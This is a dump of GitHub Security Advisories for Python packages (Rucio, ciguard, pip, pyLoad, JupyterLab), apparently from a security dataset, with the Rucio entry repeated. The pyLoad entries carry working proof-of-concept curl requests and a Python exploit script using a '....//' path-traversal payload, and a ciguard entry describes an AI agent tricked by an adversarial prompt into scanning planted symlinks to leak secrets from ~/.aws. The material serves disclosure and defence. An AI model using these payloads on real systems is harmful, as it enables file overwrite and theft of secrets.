deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-vjr5-c9qv-hgm3
Package: rucio (PIP)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 36.0.0, < 38.5.5
Patched in: 38.5.5

Summary: Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API

Details:
### Summary

A SQL injection vulnerability in the Oracle path of `FilterEngine.create_sqla_query` allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (`GET /dids/<scope>/dids/search`). Attacker-controlled filter keys and values are interpolated directly into `sqlalchemy.text` via Python `str.format`, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration `json_meta` with Oracle database backends.

### Details

*Will follow in two weeks (2025-05-19).*

### Impact

**Vulnerability type:** SQL Injection (CWE-89)

**Who is impacted:**

- **All Oracle-based Rucio deployments** using the default metadata plugin configuration (`json_meta`).
- ***Not affected*** are PostgreSQL/MySQL deployments using the default `json_meta` plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).

**What an attacker can do:**

- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies).
- **Password hash extraction:** Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.
- **Data modification:** Oracle PL/SQL enables `INSERT`/`UPDATE`/`DELETE` operations via DML within subqueries and PL/SQL blocks.
- **Potential remote code execution:** Via Oracle's `UTL_HTTP`, `DBMS_SCHEDULER`, or Java stored procedures if the database user has elevated privileges.

**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/<scope>/dids/search` endpoint is available to all authenticated users.
GitHub Security Advisory: GHSA-vjr5-c9qv-hgm3
Package: rucio (PIP)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 1.27.0, < 35.8.5
Patched in: 35.8.5

Summary: Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API

Details:
### Summary

A SQL injection vulnerability in the Oracle path of `FilterEngine.create_sqla_query` allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (`GET /dids/<scope>/dids/search`). Attacker-controlled filter keys and values are interpolated directly into `sqlalchemy.text` via Python `str.format`, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration `json_meta` with Oracle database backends.

### Details

*Will follow in two weeks (2025-05-19).*

### Impact

**Vulnerability type:** SQL Injection (CWE-89)

**Who is impacted:**

- **All Oracle-based Rucio deployments** using the default metadata plugin configuration (`json_meta`).
- ***Not affected*** are PostgreSQL/MySQL deployments using the default `json_meta` plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).

**What an attacker can do:**

- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies).
- **Password hash extraction:** Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.
- **Data modification:** Oracle PL/SQL enables `INSERT`/`UPDATE`/`DELETE` operations via DML within subqueries and PL/SQL blocks.
- **Potential remote code execution:** Via Oracle's `UTL_HTTP`, `DBMS_SCHEDULER`, or Java stored procedures if the database user has elevated privileges.

**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/<scope>/dids/search` endpoint is available to all authenticated users.
GitHub Security Advisory: GHSA-7ww3-xvf5-cxwm
Package: ciguard (PIP)
Severity: LOW (CVSS 4.3)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: >= 0.1.0, <= 0.8.1
Patched in: 0.8.2

Summary: ciguard: Web UI is missing HTTP defence-in-depth headers

Details:
## Summary

ciguard's FastAPI Web UI (`src/ciguard/web/app.py`) does not set HTTP defence-in-depth headers. OWASP ZAP baseline scan flagged 11 alerts: missing Content-Security-Policy (Medium), X-Frame-Options (Medium), Sub-Resource-Integrity on `/api/docs` (Medium), COOP / COEP / CORP (Low), Permissions-Policy (Low), X-Content-Type-Options (Low).

## Threat scenario

For local-only deployment (current intent): minimal — there's no untrusted browser context, no third-party hosting, no auth surface to protect.

For public hosting (PRD Slice 9 GitHub App or hosted dashboard, future): each missing header reduces a defence layer:

- Missing CSP → injected XSS would have no second-line defence (first-line Jinja autoescape remains intact)
- Missing X-Frame-Options → clickjacking against any UI button would be possible
- Missing SRI on jsdelivr-hosted Swagger UI → if jsdelivr were compromised, attacker JS would run in the docs page context

## Patch

- New `SecurityHeadersMiddleware` at `src/ciguard/web/security_headers.py` injecting: X-Content-Type-Options nosniff, X-Frame-Options DENY, Referrer-Policy no-referrer, Permissions-Policy `interest-cohort=()`, Cross-Origin-Opener-Policy same-origin, Cross-Origin-Resource-Policy same-origin, plus per-path CSP with `/api/docs` + `/api/redoc` carve-out for cdn.jsdelivr.net (Swagger UI / ReDoc dependency).
- COEP intentionally NOT set: would break Swagger UI's cross-origin assets, and ciguard makes no SharedArrayBuffer use that would benefit.
- Registered via `app.add_middleware(SecurityHeadersMiddleware)`.
- 6 regression tests in `tests/test_web.py::TestSecurityHeaders`.

## Discovery

Found by OWASP ZAP baseline scan during ciguard's first self-conducted pentest cycle, 2026-04-26.

## CVSS Scoring

- CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N` — 4.3 (Medium per v3.1 thresholds)
- CVSS v4.0: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` — first.org calc 4.3 (Low); GitHub's calc 2.1 (Low). All consistent at Low/borderline.

## Verification

```
$ curl -sI http://127.0.0.1:8080/ | grep -E '^(X-Frame|X-Content|Referrer|Permissions|Cross-Origin|Content-Security):'
# Pre-fix: empty
# Post-fix: 7 headers present
```

## Resources

- Fix released in [v0.8.2](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.2)
- CI regression gate added in [v0.8.3](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.3)
GitHub Security Advisory: GHSA-8cxw-cc62-q28v
Package: ciguard (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: >= 0.8.0, <= 0.8.1
Patched in: 0.8.2

Summary: ciguard: discover_pipeline_files follows symlinks out of scan root

Details:
## Summary

The `discover_pipeline_files()` function in `src/ciguard/discovery.py` (introduced in v0.8.0 and used by the MCP `scan_repo` tool shipped in v0.8.1) walks a directory tree following symlinks, with cycle protection via tracking visited resolved paths. An attacker who can plant a symlink in a directory the user (or AI agent) scans can cause discovery to walk into the symlink target and return paths to pipeline-shaped files outside the requested root.

## Threat scenario

**MCP confused-deputy.** A user runs Claude Desktop / Claude Code / Cursor with the ciguard MCP server registered. The agent is fed an adversarial prompt to scan a directory containing planted symlinks (e.g. via a malicious clone or extracted tarball). `ciguard.scan_repo` walks the symlinks, returning paths and (via subsequent `scan` calls) file content from `~/.aws/`, `~/.config/`, `/etc/some-pipeline-config/`, etc. Pipeline files often contain hardcoded secrets, internal hostnames, deploy keys.

## Patch

- New `follow_symlinks: bool = False` parameter on `discover_pipeline_files`. Default refuses to descend into symlinked directories OR symlinked files.
- Belt-and-braces: results are filtered to those whose `.resolve()` lies under `root.resolve()`, applied even when callers opt in to `follow_symlinks=True`.
- 3 regression tests in `tests/test_discovery.py::TestSymlinkSafety`.

## Discovery

Found during ciguard's first self-conducted penetration test cycle (PTES + OWASP TG v4.2 + CREST framing), 2026-04-26.

## CVSS Scoring

- CVSS v3.1: `CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N` — 4.4 (Medium)
- CVSS v4.0: `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N` — first.org calc 5.7 (Medium); GitHub's calc returns 2.4 (Low). Vector is correct — calculator profiles differ.

## Reproduction

```python
from pathlib import Path
from ciguard.discovery import discover_pipeline_files
# In a victim dir, plant: trojan -> /etc
# (or any other accessible dir containing pipeline-shaped files)
for f in discover_pipeline_files(Path('/tmp/victim')):
    print(f)  # pre-fix: includes paths under /etc; post-fix: only /tmp/victim/
```

## References

- Fix released in [v0.8.2](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.2)
- CI regression gate added in [v0.8.3](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.3)

See also: [GHSA-w828-4qhx-vxx3](https://github.com/advisories/GHSA-w828-4qhx-vxx3) — same conceptual pattern (path-validation flaw in an AI-agent tool) in Claude SDK for Python, CWE-59 + CWE-367
GitHub Security Advisory: GHSA-jrm4-4pcf-4763
Package: ciguard (PIP)
Severity: LOW (CVSS 3.0)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: >= 0.1.0, <= 0.8.1
Patched in: 0.8.2

Summary: ciguard: Container image runs as root (no USER directive)

Details:
## Summary

The published `ghcr.io/jo-jo98/ciguard` container image inherits the default root user because the `Dockerfile` lacks a `USER` directive. ciguard is a static analyser with no need for root privileges; running as root inside a container makes any future container-runtime escape CVE more impactful than it needs to be.

## Threat scenario

Defence-in-depth gap. Without a known container-runtime CVE in the chain, this finding is not directly exploitable. Recent runc CVEs (e.g. CVE-2024-21626) provided escape primitives that depended on host UID = container UID = 0 for full impact; with this fix, any future such escape primitive lands as a non-root user on the host.

## Patch

- Dockerfile adds `RUN groupadd -r ciguard && useradd -r -g ciguard -d /home/ciguard -m -s /usr/sbin/nologin ciguard && chown -R ciguard:ciguard /reports /policies-mount /app`.
- Followed by `USER ciguard` before the `CMD` directive.
- Trivy DS-0002 misconfig clears (`Tests: 20 SUCCESSES: 20 FAILURES: 0`).

## Discovery

Found by Trivy filesystem scan during ciguard's first self-conducted pentest cycle, 2026-04-26.

## CVSS Scoring

- CVSS v3.1: `CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N` — 2.0 (Low)
- CVSS v4.0: `CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N` — 3.4 (Low) per Cycle 1 report; GitHub's calc 1.8 (Low). Both Low.

## Verification

```
$ docker run --rm ghcr.io/jo-jo98/ciguard:v0.8.2 id
uid=999(ciguard) gid=999(ciguard) groups=999(ciguard)
```

## Resources

- Fix released in [v0.8.2](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.2)
- CI regression gate added in [v0.8.3](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.3)
GitHub Security Advisory: GHSA-xw8c-rrvx-f7xq
Package: ciguard (PIP)
Severity: MODERATE (CVSS 3.7)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 0.6.0, <= 0.8.1
Patched in: 0.8.2

Summary: ciguard: SCA HTTP client reads response body without size cap

Details:
## Summary

Both SCA HTTP clients (`src/ciguard/analyzer/sca/osv.py` and `src/ciguard/analyzer/sca/endoflife.py`) call `payload = json.loads(resp.read().decode('utf-8'))` without a maximum-bytes cap. A hostile or compromised endoflife.date / OSV.dev (or a successful TLS MITM) could return a multi-GB response, exhausting the ciguard process's memory.

## Threat scenario

ciguard process memory exhaustion → OOM kill or system swap thrash. Realistic when ciguard runs in CI with a limited memory budget (typical: 4-8 GB). No data integrity or confidentiality impact.

**Realism caveat:** both URLs are hardcoded HTTPS, so this is a low-realism threat (HTTPS prevents MITM unless the attacker controls a trusted CA or hijacks DNS in a way that doesn't trigger cert validation). The unbounded read is structural defence-in-depth, not a directly exploitable bug today.

## Patch

- New `MAX_RESPONSE_BYTES = 5 * 1024 * 1024` (5 MB) constant in both modules.
- `body = resp.read(MAX_RESPONSE_BYTES + 1)` with overflow check returns `None` (caller falls back to stale cache).
- 3 regression tests in `tests/test_sca_rules.py::TestSCAResponseSizeCap`.

## Discovery

Found during ciguard's first self-conducted pentest cycle, 2026-04-26.

## CVSS Scoring

- CVSS v3.1: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L` — 3.7 (Low)
- CVSS v4.0: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` — first.org calc 3.1 (Low); GitHub's calc 6.3 (Medium). Vector is correct — choosing v3.1 as the structured score keeps the consistent Low rating across consumers.

## Reproduction

Monkey-patch `urllib.request.urlopen` to return a fake 50 MB response; observe memory growth before/after the call. Pre-fix: process memory grows by ~50 MB. Post-fix: `_fetch` returns `None`, memory growth bounded to MAX_RESPONSE_BYTES.

## Resources

- Fix released in [v0.8.2](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.2)
- CI regression gate added in [v0.8.3](https://github.com/Jo-Jo98/ciguard/releases/tag/v0.8.3)
GitHub Security Advisory: GHSA-jp4c-xjxw-mgf9
Package: pip (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-829: Inclusion of Functionality from Untrusted Control Sphere
Vulnerable versions: < 26.1
Patched in: 26.1

Summary: pip Vulnerable to Inclusion of Functionality from Untrusted Control Sphere

Details:
pip prior to version 26.1 would run self-update check functionality after installing wheel files which required importing well-known Python modules names. These module imports were intentionally deferred to increase startup time of the pip CLI. The patch changes self-update functionality to run before wheels are installed to prevent newly-installed modules from being imported shortly after the installation of a wheel package. Users should still review package contents prior to installation.
GitHub Security Advisory: GHSA-838g-gr43-qqg9
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-36: Absolute Path Traversal
Vulnerable versions: <= 0.5.0b3.dev99
Patched in: 0.5.0b3.dev100

Summary: PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data

Details:
### Summary
No sanitization of package folder name allows writing files anywhere outside the intended download directory.

#### Affected Component
- `src/pyload/core/api/__init__.py`
- Function: `set_package_data()`

### Details
When passing a folder name in the `set_package_data()` API function call inside the data object with key `"_folder"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.

### PoC
1) Create a package, note response package ID e.g. `5`
```
curl -X 'POST' \
  'http://localhost:8000/api/add_package' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "set_package_data_exploit_poc",
  "links": [
    "http://example.com/file.txt"
  ],
  "dest": 1
}'
```

2) Call set_package_data for this package ID with an arbitrary directory 
```
curl -X 'POST' \
  'http://localhost:8000/api/set_package_data' \
  -H 'accept: */*' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "package_id": 5,
  "data": {
    "_folder": "/users/root/"
  }
}'
```

3) New download folder will be set without any checks
```
curl -X 'GET' \
  'http://localhost:8000/api/get_queue' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>'
```
Response:
```
[
  {
    "pid": 5,
    "name": "set_package_data_exploit_poc",
    "folder": "/users/root/",
    "site": "",
    "password": "",
    "dest": 1,
    "order": 1,
    "linksdone": 0,
    "sizedone": 0,
    "sizetotal": 0,
    "linkstotal": 1,
    "links": null,
    "fids": null
  }
]
```

### Impact
Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.
GitHub Security Advisory: GHSA-97r3-5w84-r4q8
Package: pyload-ng (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.5.0b3.dev79
Patched in: 0.5.0b3.dev100

Summary: PyLoad Vulnerable to Path Traversal via Package Folder Name

Details:
Insufficient sanitization of package folder names allows writing files outside the intended download directory.

## Affected Component
- `src/pyload/core/api/__init__.py`
- Function: `add_package()`

## Description
Package folder names are sanitized using insufficient string replacement:

```python
folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)
```

The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.

## Proof of Concept

### Setup
```bash
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
```

### Exploit
```python
#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
[CREDENTIAL_REDACTED]"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")
```

### Verification
Check where files would be written:
```python
import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations
```

## Impact
Authenticated users with ADD permission can:
- Write files outside the download directory
- Potentially overwrite system files (depending on permissions)
- Clutter system directories with downloaded content
GitHub Security Advisory: GHSA-37w4-hwhx-4rc4
Package: jupyterlab (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-20: Improper Input Validation, CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), CWE-602: Client-Side Enforcement of Server-Side Security
Vulnerable versions: >= 4.0.0, <= 4.5.6
Patched in: 4.5.7

Summary: JupyterHub has an Extension Manager API/GUI Policy Discrepancy, allowing 3rd party (malicious) extensions install via POST request

Details:
The allow-list of extensions that can be installed from PyPI Extension Manager (`allowed_extensions_uris`) is not correctly enforced by JupyterLab prior to 4.5.X. The PyPI Extension Manager was not contained to packages listed on the default PyPI index.

This has security implications for deployments that:
- have allow-listed specific extensions with aim to prevent users from installing packages
- have the kernel and terminals disabled or delegated to remote hosts (thus no access to install packages in the single-user server environment)
- have multi-tenant deployments that is not configured for untrusted users (as per documented on JupyterHub https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html)
- have the (default) PyPI Extension Manger enabled

### Impact

An authenticated attacker - such as a student in a shared JupyterHub environment or a user in a multi-tenant JupyterLab deployment - can escalate their privileges. This might allow for data exfiltration, lateral movement within the network, and persistent compromise of the server infrastructure.

### Patches

JupyterLab [`v4.5.7`](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.7) contains the patch.

Users of applications that depend on JupyterLab, such as Notebook v7+, should update `jupyterlab` package too.

### Workarounds

Switch to read-only extension manager by adding the following command line option:

```bash
--LabApp.extension_manager=readonly
```

or the following traitlet:

```python
c.LabApp.extension_manager = 'readonly'
```

You can confirm that the read-only manager is in use from GUI:

<img width="293" height="293" alt="image" src="https://github.com/user-attachments/assets/8016c809-633e-4ed0-a5bc-6bc4793caa0f" />

Note: configuration of a PyPI proxy with allow-listed packages is not sufficient to protect from this vulnerability.

### Resources

- allow-list https://jupyterlab.readthedocs.io/en/stable/user/extensions.html#listing-configuration
- https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html
- https://jupyterlab.readthedocs.io/en/latest/user/extensions.html#extension-manager-implementations